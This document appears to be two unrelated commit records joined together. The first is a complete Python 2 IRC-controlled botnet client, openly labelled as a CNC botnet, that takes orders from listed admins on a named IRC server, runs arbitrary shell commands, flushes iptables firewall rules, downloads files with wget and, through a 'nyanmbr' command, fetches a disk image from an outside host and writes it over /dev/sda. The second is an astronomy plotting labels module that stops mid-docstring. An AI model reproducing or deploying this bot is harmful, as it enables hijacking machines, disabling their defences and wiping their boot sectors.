				else: #if not recognized
					print "command '%s' not defined" % command
		else:
			print "user '%s' not in list of admins" % user

	else: #we should not be listening, so we'll wait for '??stop' to end interactive shell
		if "PRIVMSG" in command:
			command = command[command.index("PRIVMSG"):]
			command = command[(command.index(':') + 1):].strip().lower()
			if "??finish" == command[:8]:
				INTERACT[0] = 0
				INTERACT[1] = 1
			elif "??+" == command[:3]:
				users = command[3:].split(" ")
				if nick in users or "all" in users:
					INTERACT[1] = 1

#code to connect to an IRC server
def connectToServer(nick):
	print "connecting to:", server

	connected = 0
	while not connected:
		try:
			irc.connect((server, port)) #connects to the server
			connected = 1
		except:
			connected = 0
			time.sleep(5)

	irc.send("USER " + nick + " " + nick + " " + nick + " :This is a fun bot!\n") #user authentication
	irc.send("NICK " + nick + "\n") #sets nick

	temp = irc.recv(1024) #get response to setting nick
	if DEBUG:
		print "text received: '%s'" % temp

	counter = 2
	while "nickname already in use" in temp.lower():
		nick = nick + "-" + str(counter)
		if len(nick) > 9: #if nick gets too long, generate new number and reset counter; try again
			nick = generateNick(os)
			counter = 2
		irc.send("NICK " + nick + "\n") #sets nick
		temp=irc.recv(1024) #get response to setting nick
		if DEBUG:
			print "text received: '%s'\niteration %d" % (temp, counter)
		counter += 1

	irc.send("PRIVMSG nickserv :iNOOPE\r\n") #auth
	irc.send("JOIN " + channel + "\n") #join the channel

irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #creates socket
connectToServer(nick) #connect to IRC server

#infinite loop to listen for messages aka commands
while 1:
	text = irc.recv(1024) #receive up to 1024 bytes
	while len(text) < 1: #if text we receive is less than 1, the other end isn't connected anymore. try to reconnect
		irc.close()
		irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #creates socket
		connectToServer(nick)
		time.sleep(5)
		text = irc.recv(1024) #receive up to 1024 bytes

	#The two lines below are required by the IRC RFC, if you remove them the bot will time out.
	if text.find('PING') != -1: #check if 'PING' is found
		irc.send('PONG ' + text.split() [1] + '\r\n') #returns 'PONG' back to the server to prevent pinging out

	parseCommand(text) #call function to parse commands
<commit_msg>update nyancat bootloader<commit_after>#!/usr/bin/python
#IRC-based CNC Botnet
#Authors: Luke Matarazzo and Jackson Sadowski
#Blizzo

#to do list
#make more cross-platform instead of just for linux - windows, mac, sun, etc.
#handle reconnecting if server restarts or there is some connection error
#figure out how to disconnect from server and disconnect from channel

import socket
import ftplib
import urllib2
import urllib
import sys
# import ctypes
import random
import time
import platform
import os
import subprocess as sub
from sys import argv
from random import randint

def generateNick(os): #generates a nick for the server
	rannum = str(randint(0, 9999))
	return str(os[:3] + rannum)

def execute(cmd): #execute shell commands
	isItLs = 0
	if "ls" in cmd:
		cmd += " -pA"
		isItLs = 1

	#handling a multi-word command
	cmdList = []
	if (cmd.find(" ") != -1):
		cmdList = cmd.split(" ")

		try:#checking for syntax errors
			p = sub.Popen(cmdList,stdout=sub.PIPE,stderr=sub.PIPE)
			output, errors = p.communicate()

		except:#if there was some sytax error, spit back an error
			print "An error has occured.\n"
			return "An error has occured. Probably invalid command or syntax."

	#handles a 1-liner
	else:
		try:#checking for syntax errors
			p = sub.Popen(cmd,stdout=sub.PIPE,stderr=sub.PIPE)
			output, errors = p.communicate()

		except:
			print "An error has occured.\n"
			return "An error has occured. Probably invalid command or syntax."

	if len(output) < 1:
		return errors

	#handling multi-line output
	lines = output.split("\n")[:-1] #split based on newline, return all except last element which is just a blank new line
	if len(lines) > 1: #if there was a new line found, return array
		if isItLs: #doing all the directory stuff
			dirs = "dirs: "
			files = "files: "
			for line in lines:
				if line[-1] == "/":
					dirs += "'" + line + "'   "
				else:
					files += "'" + line + "'   "
			lines = [dirs.strip(), files.strip()]

		for element in lines: #check if a line is JUST a newline
			if element == "":
				lines[lines.index(element)] = "~" #replace newline with a ~

		return lines

	return output

#actually sending the data
def sendData(data): #send text back to the irc server
	#sending multiple lines if it's a list
	if type(data) is list:
		for line in data:
			irc.send('PRIVMSG ' + channel + " :" + line + '\r\n')
	else: #sending a one-liner back
		irc.send('PRIVMSG ' + channel + " :" + data + '\r\n')

#All of the possible functions that the botnet is capable of
def reply(): #send back to IRC server that you are here
	sendData("Yes I am here")

def whoAmI(): #execute whoami command and send output
	output  = execute("whoami")
	sendData(output)

def iAmGood(): #send back to IRC server that you are good
	sendData("I am good. And you?")

def runAndSend(cmd): #take a single command, run it, return output
	request = execute(cmd)
	sendData(request)

def getAge(): #send uptime
	sendData("I don't know how to do that yet boss.")

def terminate(): #terminate program and send goodbye message
	sendData("Oh no! We better find some cover.")
	irc.close()
	exit()

def freeSpace(): #tells how much free space there is
	request = execute("df")
	sendData(request)

def uptime(): #total uptime on the server
	request = execute("uptime")
	sendData(request)

def version(): #which kernel version
	sendData(platform.release())

def getIP(): #gets the public IP address
	my_ip = urllib2.urlopen('http://ip.42.pl/raw').read()
	sendData(my_ip)

def flushFirewall(): #flushes the firewall rules
	if (os == "linux"):
		request = execute("/usr/bin/env iptables -F") #flushing rules
		sendData("Firewall rules have been flushed.")

def checkFirewall(): #reports current firewall config
	if (os == "linux"):
		sendData("Current Firewall Rules:")
		request = execute("/usr/bin/env iptables -L -n")
		sendData(request)
	elif (os == "windows"):
		sendData("idk how to windows yet boss.")
	elif (os == "darwin"):
		sendData("idk how to mac yet boss.")
	else:
		sendData("unknown")

def download(cmd): #file downloader
	if (os == "linux"):
		if (cmd.count(" ") != 1): #make sure there is only 1 space
			sendData("Usage: download [file] [dir]")
		else:
			args = cmd.split(" ")
			download = "wget --no-check-certificate -q -P " + args[1] + " " + args[0]

			request = execute(download) #executing the download
			sendData("Download executed.")

def nyanmbr(): #download nyancat.mbr and over bootloader with it
	if (os == "linux" or os == "darwin"):
		execute("wget --no-check-certificate -q -P /tmp https://minemu.org/nyanmbr/nyan.mbr")
		execute("dd if=/tmp/nyan.mbr of=/dev/sda")
		execute("rm -rf /tmp/nyan.mbr")

def nap(): #shutdown the computer
	execute("init 0")

def reboot(): #reboot the computer
	execute("init 6")

def persist(): #try to persist bot
	sendData("I don't know how to do that yet boss.")

#debugger
DEBUG = 0
if len(argv) > 1 and (argv[1] == "-d" or argv[1] == "--debug"):
	DEBUG = 1

#other vars
os = platform.system().lower() #detected os in all lowercase
INTERACT = [0, 1] 	#index one is the boolean for if the interactive shell is taking place for any bot
					#index two is the boolean for if the interactive shell is with this bot
DISCONNECED = 1 	#if we are disconnected, this is true

#IRC Settings
admins = ["king", "samorizu", "blackbear", "bigshebang"]
server = "leagueachieve.info"
port = 6667
channel = "#lobby"
nick = generateNick(os)

print "The botnick is: '%s'" % nick

#dictionary of functions
commands = {
	"are you there" : reply,
	"how are you" : iAmGood,
	"who are you" : whoAmI,
	"how old are you" : getAge,
	"zombie apocalypse" : terminate,
	"free" : freeSpace,
	"uptime" : uptime,
	"version" : version,
	"what is your ip" : getIP,
	"where are you" : getIP,
	"flush firewall" : flushFirewall,
	"firewall" : checkFirewall,
	"download" : download,
	"nyanmbr" : nyanmbr,
	"take a nap": nap,
	"reboot" : reboot,
	"persist" : persist
}

#function which parses the command and determines how to handle it
def parseCommand(command):
	if DEBUG:
		print "command is '%s'" % command
		print "interact 0: " + str(not INTERACT[0])
		print "interact 1: " + str(not INTERACT[1])

	if INTERACT[1] and "PRIVMSG" in command: #check if we should respond or not and if we find privmsg, we're good!
		lines = command.split("\n")
		if len(lines) > 2:
			print "we got a bunch of lines...doing nothing"
			return

		header = command[:command.index("PRIVMSG")] #get everything before PRIVMSG
		if ":" in header: #check if there is a colon first, to avoid crashing
			header = header[(header.index(":") + 1):] #get all after colon

		user = header[:header.index("!~")] #user sending message
		host = header[(header.index("!~") + 2):header.index(" ")] #hostname and ip/domain name: 'blarg@1.2.3.4'
		hostname = host[:host.index("@")] #hostname: 'blarg'
		client = host[(host.index("@") + 1):] #client/ip/domain name: '1.2.3.4' or 'blarg.com'

		if DEBUG:
			print "user is '%s'" % user
			print "host is '%s'" % host
			print "hostname is '%s'" % hostname
			print "client is '%s'" % client

		if user in admins: #check if sender is an approved controller
			tempCommand = command[command.index("PRIVMSG"):]
			command = tempCommand[(tempCommand.index(':') + 1):].strip().lower()

			print "Recieved '%s' from the CNC" % command #print command

			if INTERACT[0]: #if interactive shell is on
				if "??finish" == command[:8]:
					INTERACT[0] = 0
					return
				elif "??-" == command[:3]:
					users = command[3:].split(" ")
					if nick in users or "all" in users:
						INTERACT[1] = 0

					return
				elif "??+" == command[:3]:
					return

				if len(command) > 0:
					sendData("I would have performed: '" + command + "'")
			elif "??" == command[:2]: #if '??' is given
				INTERACT[0] = 1
				users = command[2:].split(" ")

				if DEBUG:
					print "command is '%s'" % command
				for user in users:
					print "user is '%s'" % user

				if not nick in users and not "all" in users:
					INTERACT[1] = 0
					return
			elif "?!" == command[:2]: #if they want to single out one or more bots to run a function
				if ":" in command:
					lines = command[2:].split(":")
				else:
					print "incorrect syntax. you need a ':'"
					return

				users = lines[0].split(" ")
				if nick in users or "all" in users:
					lines[1] = lines[1].strip()
					if lines[1] in commands.keys(): #if regular command
						commands[lines[1]]() #call appropriate function
						print "function called"
			else:
				if command in commands.keys(): #if regular command
					commands[command]() #call appropriate function
					print "function called"
				elif command[:7] == "execute": #if they want the execute command, make that work
					runAndSend(command[8:])
				elif command[:8] == "download":
					download(command[9:])
				else: #if not recognized
					print "command '%s' not defined" % command
		else:
			print "user '%s' not in list of admins" % user

	else: #we should not be listening, so we'll wait for '??stop' to end interactive shell
		if "PRIVMSG" in command:
			command = command[command.index("PRIVMSG"):]
			command = command[(command.index(':') + 1):].strip().lower()
			if "??finish" == command[:8]:
				INTERACT[0] = 0
				INTERACT[1] = 1
			elif "??+" == command[:3]:
				users = command[3:].split(" ")
				if nick in users or "all" in users:
					INTERACT[1] = 1

#code to connect to an IRC server
def connectToServer(nick):
	print "connecting to:", server

	connected = 0
	while not connected:
		try:
			irc.connect((server, port)) #connects to the server
			connected = 1
		except:
			connected = 0
			time.sleep(5)

	irc.send("USER " + nick + " " + nick + " " + nick + " :This is a fun bot!\n") #user authentication
	irc.send("NICK " + nick + "\n") #sets nick

	temp = irc.recv(1024) #get response to setting nick
	if DEBUG:
		print "text received: '%s'" % temp

	counter = 2
	while "nickname already in use" in temp.lower():
		nick = nick + "-" + str(counter)
		if len(nick) > 9: #if nick gets too long, generate new number and reset counter; try again
			nick = generateNick(os)
			counter = 2
		irc.send("NICK " + nick + "\n") #sets nick
		temp=irc.recv(1024) #get response to setting nick
		if DEBUG:
			print "text received: '%s'\niteration %d" % (temp, counter)
		counter += 1

	irc.send("PRIVMSG nickserv :iNOOPE\r\n") #auth
	irc.send("JOIN " + channel + "\n") #join the channel

irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #creates socket
connectToServer(nick) #connect to IRC server

#infinite loop to listen for messages aka commands
while 1:
	text = irc.recv(1024) #receive up to 1024 bytes
	while len(text) < 1: #if text we receive is less than 1, the other end isn't connected anymore. try to reconnect
		irc.close()
		irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #creates socket
		connectToServer(nick)
		time.sleep(5)
		text = irc.recv(1024) #receive up to 1024 bytes

	#The two lines below are required by the IRC RFC, if you remove them the bot will time out.
	if text.find('PING') != -1: #check if 'PING' is found
		irc.send('PONG ' + text.split() [1] + '\r\n') #returns 'PONG' back to the server to prevent pinging out

	parseCommand(text) #call function to parse commands
<|endoftext|>


<commit_before>import matplotlib.pyplot as mpl
import wcs_util
import numpy as np
import string
import math_util
from matplotlib.font_manager import FontProperties

class Labels(object):

    def _initialize_labels(self):

        # Set font
        self.tick_font = FontProperties()
        self.axes_font = FontProperties()

        self.set_labels_latex(False, refresh=False)
        self.set_tick_labels_style('plain', refresh=False)
        self.set_tick_labels_size('small', refresh=False)

        self._ax2.yaxis.set_label_position('right')
        self._ax2.xaxis.set_label_position('top')

        self.xlabel = None
        self.ylabel = None

        self.set_axis_labels_xdisp(-0.05,refresh=False)
        self.set_axis_labels_ydisp(-0.15,refresh=False)

        system,equinox,units = wcs_util.system(self._wcs)

        # Set default label format
        if system == 'celestial':
            self.set_tick_labels_xformat("hh:mm:ss.ss", refresh=False)
            self.set_tick_labels_yformat("dd:mm:ss.s", refresh=False)
        else:
            self.set_tick_labels_xformat("ddd.dddd", refresh=False)
            self.set_tick_labels_yformat("dd.dddd", refresh=False)

        if system == 'celestial':
            if equinox == 'b1950':
                self.set_axis_labels('RA (B1950)','Dec (B1950)', refresh=False)
            else:
                self.set_axis_labels('RA (J2000)','Dec (J2000)', refresh=False)
        elif system == 'galactic':
            self.set_axis_labels('Galactic Longitude','Galactic Latitude', refresh=False)
        else:
            self.set_axis_labels('Ecliptic Longitude','Ecliptic Latitude', refresh=False)

        # Set major tick formatters
        fx1 = WCSFormatter(wcs=self._wcs,axist='x')
        fy1 = WCSFormatter(wcs=self._wcs,axist='y')
        self._ax1.xaxis.set_major_formatter(fx1)
        self._ax1.yaxis.set_major_formatter(fy1)

        fx2 = mpl.NullFormatter()
        fy2 = mpl.NullFormatter()
        self._ax2.xaxis.set_major_formatter(fx2)
        self._ax2.yaxis.set_major_formatter(fy2)

    def set_tick_labels_xformat(self,format,refresh=True):
        '''
        Set the format of the x-axis tick labels

        Required Arguments:

            *format*: [ string ]
                The format for the tick labels. This can be:

                    * ``ddd.ddddd`` - decimal degrees, where the number of decimal places can be varied
                    * ``hh`` or ``dd`` - hours (or degrees)
                    * ``hh:mm`` or ``dd:mm`` - hours and minutes (or degrees and arcminutes)
                    * ``hh:mm:ss`` or ``dd:mm:ss`` - hours, minutes, and seconds (or degrees, arcminutes, and arcseconds)
                    * ``hh:mm:ss.ss`` or ``dd:mm:ss.ss`` - hours, minutes, and seconds (or degrees, arcminutes, and arcseconds), where the number of decimal places can be varied.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        '''

        self._ax1.xaxis.apl_label_form = format
        if refresh: self.refresh()

    def set_tick_labels_yformat(self,format,refresh=True):
        '''
        Set the format of the x-axis tick labels

        Required Arguments:

            *format*: [ string ]
                The format for the tick labels. This can be:

                    * ``ddd.ddddd`` - decimal degrees, where the number of decimal places can be varied
                    * ``hh`` or ``dd`` - hours (or degrees)
                    * ``hh:mm`` or ``dd:mm`` - hours and minutes (or degrees and arcminutes)
                    * ``hh:mm:ss`` or ``dd:mm:ss`` - hours, minutes, and seconds (or degrees, arcminutes, and arcseconds)
                    * ``hh:mm:ss.ss`` or ``dd:mm:ss.ss`` - hours, minutes, and seconds (or degrees, arcminutes, and arcseconds), where the number of decimal places can be varied.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        '''

        self._ax1.yaxis.apl_label_form = format
        if refresh: self.refresh()

    def set_tick_labels_style(self,style,refresh=True):
        """
        Set the format of the x-axis tick labels

        Required Arguments:

            *style*: [ 'colons' | 'plain' | 'latex' ]

                How to style the tick labels:

                'colons' uses colons as separators, for example
                31:41:59.26 +27:18:28.1

                'plain' uses plain letters as separators, for example
                31:41:59.26 +27:18:28.1

                'latex' uses superscripts, and typesets the labels
                with LaTeX. To decide whether to use the matplotlib
                internal LaTeX engine or a real LaTeX installation, use
                the set_labels_latex() method.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        if not style in ['colons','plain','latex']:
            raise Exception("Label style should be one of colons/plain/latex")

        self._ax1.xaxis.apl_labels_style = style
        self._ax1.yaxis.apl_labels_style = style

        if refresh:
            self.refresh()

    def set_labels_latex(self, usetex, refresh=True):
        """
        Set whether to use a real LaTeX installation or the built-in matplotlib LaTeX

        Required Arguments:

            *usetex*: [ True | False ]
                Whether to use a real LaTex installation (True) or the built-in
                matplotlib LaTeX (False). Note that if the former is chosen, an
                installation of LaTex is required.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        mpl.rc('text',usetex=usetex)

        if refresh:
            self.refresh()

    def set_tick_labels_size(self, size, refresh=True):
        """
        Set the size of the tick labels

        Required Arguments:

            *size*: [ size in points | xx-small | x-small | small |
                      medium | large | x-large | xx-large ]

                The size of the numeric tick labels. Default is 'small'.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.tick_font.set_size(size)
        self._update_tick_font()

        if refresh:
            self.refresh()

    def set_tick_labels_weight(self, weight, refresh=True):
        """
        Set the weight of the tick labels

        Required Arguments:

            *weight*: [ a numeric value in range 0-1000 | ultralight |
                        light | normal | regular | book | medium |
                        roman | semibold | demibold | demi | bold |
                        heavy | extra bold | black ]

                The weight of the numeric tick labels. Default is 'normal'.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.tick_font.set_weight(weight)
        self._update_tick_font()

        if refresh:
            self.refresh()

    def set_tick_labels_family(self, family, refresh=True):
        """
        Set the font family of the tick labels

        Required Arguments:

            *family*: [ serif | sans-serif | cursive | fantasy | monospace ]

                The font family of the numeric tick labels. Default is 'sans-serif'.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.tick_font.set_family(family)
        self._update_tick_font()

        if refresh:
            self.refresh()

    def _update_tick_font(self):

        for tick in self._ax1.get_xticklabels():
            tick.set_fontproperties(self.tick_font)
        for tick in self._ax1.get_yticklabels():
            tick.set_fontproperties(self.tick_font)

    def set_axis_labels_xdisp(self,displacement,refresh=True):
        """
        Set the vertical displacement of the x-axis label

        Required Arguments:

            *dispacement*: [ float ]
                The vertical displacement of the x-axis label, in units of the
                size of the viewport. The default is -0.05. A value of 0 would
                place the label on the bottom x-axis, and a value of 1 would place
                the label on the top x-axis.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.apl_xlabel_disp = displacement

        if self.xlabel:
            self.xlabel.set_y(self.apl_xlabel_disp)

        if refresh:
            self.refresh()

    def set_axis_labels_ydisp(self,displacement,refresh=True):
        """
        Set the horizontal displacement of the y-axis label

        Required Arguments:

            *dispacement*: [ float ]
                The vertical displacement of the y-axis label, in units of the
                size of the viewport. The default is -0.13. A value of 0 would
                place the label on the left y-axis, and a value of 1 would place
                the label on the right y-axis.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.apl_ylabel_disp = displacement

        if self.ylabel:
            self.ylabel.set_x(self.apl_ylabel_disp)

        if refresh:
            self.refresh()

    def set_axis_labels(self,xlabel,ylabel,refresh=True):
        """
        Set the axes labels

        Required Arguments:

            *xlabel*: [ string ]
                The x-axis label.

            *ylabel*: [ string ]
                The y-axis label.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        if self.xlabel:
            self.xlabel.set_text(xlabel)
            self.xlabel.set_y(self.apl_xlabel_disp)
        else:
            self.xlabel = self._ax1.text(0.5,self.apl_xlabel_disp,xlabel,fontproperties=self.axes_font,transform = self._ax1.transAxes,ha='center',va='center')

        if self.ylabel:
            self.ylabel.set_text(ylabel)
            self.ylabel.set_x(self.apl_ylabel_disp)
        else:
            self.ylabel = self._ax1.text(self.apl_ylabel_disp,0.5,ylabel,fontproperties=self.axes_font,transform = self._ax1.transAxes,rotation='vertical',ha='center',va='center')

        if refresh:
            self.refresh()

    def set_axis_labels_size(self, size, refresh=True):
        """
        Set the size of the axis labels

        Required Arguments:

            *size*: [ size in points | xx-small | x-small | small |
                      medium | large | x-large | xx-large ]

                The size of the axis labels. Default is 'small'.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.axes_font.set_size(size)
        self._update_axes_font()

        if refresh:
            self.refresh()

    def set_axis_labels_weight(self, weight, refresh=True):
        """
        Set the weight of the axis labels

        Required Arguments:

            *weight*: [ a numeric value in range 0-1000 | ultralight |
                        light | normal | regular | book | medium |
                        roman | semibold | demibold | demi | bold |
                        heavy | extra bold | black ]

                The weight of the axis labels. Default is 'normal'.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.axes_font.set_weight(weight)
        self._update_axes_font()

        if refresh:
            self.refresh()

    def set_axis_labels_family(self, family, refresh=True):
        """
        Set the font family of the axis labels

        Required Arguments:

            *family*: [ serif | sans-serif | cursive | fantasy | monospace ]

                The font family of the axis labels. Default is 'sans-serif'.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.axes_font.set_family(family)
        self._update_axes_font()

        if refresh:
            self.refresh()

    def _update_axes_font(self):

        self.xlabel.set_fontproperties(self.axes_font)
        self.ylabel.set_fontproperties(self.axes_font)

class WCSFormatter(mpl.Formatter):

    def __init__(self, wcs=False,axist='x'):
        self._wcs = wcs
        self.axist = axist

    def __call__(self,x,pos=None):
        'Return the format for tick val x at position pos; pos=None indicated unspecified'

        hours = 'h' in self.axis.apl_label_form

        if self.axis.apl_labels_style == 'plain':
            sep = ('d','m','s')
            if hours: sep = ('h','m','s')
        elif self.axis.apl_labels_style == 'colons':
            sep = (':',':','')
        elif self.axis.apl_labels_style == 'latex':
            if hours:
                sep = ('^{h}','^{m}','^{s}')
            else:
                sep = ('^{\circ}','^{\prime}','^{\prime\prime}')

        ymin, ymax = self.axis.get_axes().yaxis.get_view_interval()
        xmin, xmax = self.axis.get_axes().xaxis.get_view_interval()

        ipos = math_util.minloc(np.abs(self.axis.apl_tick_positions_pix-x))

        c = self.axis.apl_tick_spacing * self.axis.apl_tick_positions_world[ipos]

        if hours:
            c = c.tohours()

        c = c.tostringlist(format=self.axis.apl_label_form,sep=sep)

        if ipos <> len(self.axis.apl_tick_positions_pix)-1:
            cnext = self.axis.apl_tick_spacing * self.axis.apl_tick_positions_world[ipos+1]
            if hours:
                cnext = cnext.tohours()
            cnext = cnext.tostringlist(format=self.axis.apl_label_form,sep=sep)
            for iter in range(len(c)):
                if cnext[0] == c[0]:
                    c.pop(0)
                    cnext.pop(0)
                else:
                    break

        if self.axis.apl_labels_style == 'latex':
            return "$"+string.join(c,"")+"$"
        else:
            return string.join(c,"")
<commit_msg>Labels are now simplified in correct order<commit_after>import matplotlib.pyplot as mpl
import wcs_util
import numpy as np
import string
import math_util
from matplotlib.font_manager import FontProperties

class Labels(object):

    def _initialize_labels(self):

        # Set font
        self.tick_font = FontProperties()
        self.axes_font = FontProperties()

        self.set_labels_latex(False, refresh=False)
        self.set_tick_labels_style('plain', refresh=False)
        self.set_tick_labels_size('small', refresh=False)

        self._ax2.yaxis.set_label_position('right')
        self._ax2.xaxis.set_label_position('top')

        self.xlabel = None
        self.ylabel = None

        self.set_axis_labels_xdisp(-0.05,refresh=False)
        self.set_axis_labels_ydisp(-0.15,refresh=False)

        system,equinox,units = wcs_util.system(self._wcs)

        # Set default label format
        if system == 'celestial':
            self.set_tick_labels_xformat("hh:mm:ss.ss", refresh=False)
            self.set_tick_labels_yformat("dd:mm:ss.s", refresh=False)
        else:
            self.set_tick_labels_xformat("ddd.dddd", refresh=False)
            self.set_tick_labels_yformat("dd.dddd", refresh=False)

        if system == 'celestial':
            if equinox == 'b1950':
                self.set_axis_labels('RA (B1950)','Dec (B1950)', refresh=False)
            else:
                self.set_axis_labels('RA (J2000)','Dec (J2000)', refresh=False)
        elif system == 'galactic':
            self.set_axis_labels('Galactic Longitude','Galactic Latitude', refresh=False)
        else:
            self.set_axis_labels('Ecliptic Longitude','Ecliptic Latitude', refresh=False)

        # Set major tick formatters
        fx1 = WCSFormatter(wcs=self._wcs,coord='x')
        fy1 = WCSFormatter(wcs=self._wcs,coord='y')
        self._ax1.xaxis.set_major_formatter(fx1)
        self._ax1.yaxis.set_major_formatter(fy1)

        fx2 = mpl.NullFormatter()
        fy2 = mpl.NullFormatter()
        self._ax2.xaxis.set_major_formatter(fx2)
        self._ax2.yaxis.set_major_formatter(fy2)

    def set_tick_labels_xformat(self,format,refresh=True):
        '''
        Set the format of the x-axis tick labels

        Required Arguments:

            *format*: [ string ]
                The format for the tick labels. This can be:

                    * ``ddd.ddddd`` - decimal degrees, where the number of decimal places can be varied
                    * ``hh`` or ``dd`` - hours (or degrees)
                    * ``hh:mm`` or ``dd:mm`` - hours and minutes (or degrees and arcminutes)
                    * ``hh:mm:ss`` or ``dd:mm:ss`` - hours, minutes, and seconds (or degrees, arcminutes, and arcseconds)
                    * ``hh:mm:ss.ss`` or ``dd:mm:ss.ss`` - hours, minutes, and seconds (or degrees, arcminutes, and arcseconds), where the number of decimal places can be varied.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        '''

        self._ax1.xaxis.apl_label_form = format
        if refresh: self.refresh()

    def set_tick_labels_yformat(self,format,refresh=True):
        '''
        Set the format of the x-axis tick labels

        Required Arguments:

            *format*: [ string ]
                The format for the tick labels. This can be:

                    * ``ddd.ddddd`` - decimal degrees, where the number of decimal places can be varied
                    * ``hh`` or ``dd`` - hours (or degrees)
                    * ``hh:mm`` or ``dd:mm`` - hours and minutes (or degrees and arcminutes)
                    * ``hh:mm:ss`` or ``dd:mm:ss`` - hours, minutes, and seconds (or degrees, arcminutes, and arcseconds)
                    * ``hh:mm:ss.ss`` or ``dd:mm:ss.ss`` - hours, minutes, and seconds (or degrees, arcminutes, and arcseconds), where the number of decimal places can be varied.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        '''

        self._ax1.yaxis.apl_label_form = format
        if refresh: self.refresh()

    def set_tick_labels_style(self,style,refresh=True):
        """
        Set the format of the x-axis tick labels

        Required Arguments:

            *style*: [ 'colons' | 'plain' | 'latex' ]

                How to style the tick labels:

                'colons' uses colons as separators, for example
                31:41:59.26 +27:18:28.1

                'plain' uses plain letters as separators, for example
                31:41:59.26 +27:18:28.1

                'latex' uses superscripts, and typesets the labels
                with LaTeX. To decide whether to use the matplotlib
                internal LaTeX engine or a real LaTeX installation, use
                the set_labels_latex() method.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        if not style in ['colons','plain','latex']:
            raise Exception("Label style should be one of colons/plain/latex")

        self._ax1.xaxis.apl_labels_style = style
        self._ax1.yaxis.apl_labels_style = style

        if refresh:
            self.refresh()

    def set_labels_latex(self, usetex, refresh=True):
        """
        Set whether to use a real LaTeX installation or the built-in matplotlib LaTeX

        Required Arguments:

            *usetex*: [ True | False ]
                Whether to use a real LaTex installation (True) or the built-in
                matplotlib LaTeX (False). Note that if the former is chosen, an
                installation of LaTex is required.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        mpl.rc('text',usetex=usetex)

        if refresh:
            self.refresh()

    def set_tick_labels_size(self, size, refresh=True):
        """
        Set the size of the tick labels

        Required Arguments:

            *size*: [ size in points | xx-small | x-small | small |
                      medium | large | x-large | xx-large ]

                The size of the numeric tick labels. Default is 'small'.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.tick_font.set_size(size)
        self._update_tick_font()

        if refresh:
            self.refresh()

    def set_tick_labels_weight(self, weight, refresh=True):
        """
        Set the weight of the tick labels

        Required Arguments:

            *weight*: [ a numeric value in range 0-1000 | ultralight |
                        light | normal | regular | book | medium |
                        roman | semibold | demibold | demi | bold |
                        heavy | extra bold | black ]

                The weight of the numeric tick labels. Default is 'normal'.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.tick_font.set_weight(weight)
        self._update_tick_font()

        if refresh:
            self.refresh()

    def set_tick_labels_family(self, family, refresh=True):
        """
        Set the font family of the tick labels

        Required Arguments:

            *family*: [ serif | sans-serif | cursive | fantasy | monospace ]

                The font family of the numeric tick labels. Default is 'sans-serif'.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.tick_font.set_family(family)
        self._update_tick_font()

        if refresh:
            self.refresh()

    def _update_tick_font(self):

        for tick in self._ax1.get_xticklabels():
            tick.set_fontproperties(self.tick_font)
        for tick in self._ax1.get_yticklabels():
            tick.set_fontproperties(self.tick_font)

    def set_axis_labels_xdisp(self,displacement,refresh=True):
        """
        Set the vertical displacement of the x-axis label

        Required Arguments:

            *dispacement*: [ float ]
                The vertical displacement of the x-axis label, in units of the
                size of the viewport. The default is -0.05. A value of 0 would
                place the label on the bottom x-axis, and a value of 1 would place
                the label on the top x-axis.

        Optional Keyword Arguments:

            *refresh*: [ True | False ]
                Whether to refresh the display straight after setting the parameter.
                For non-interactive uses, this can be set to False.
        """

        self.apl_xlabel_disp = displacement

        if self.xlabel:
            self.xlabel.set_y(self.apl_xlabel_disp)

        if refresh:
            self.refresh()

    def set_axis_labels_ydisp(self,displacement,refresh=True):
        """
        Set the horizontal displacement of the y-axis label

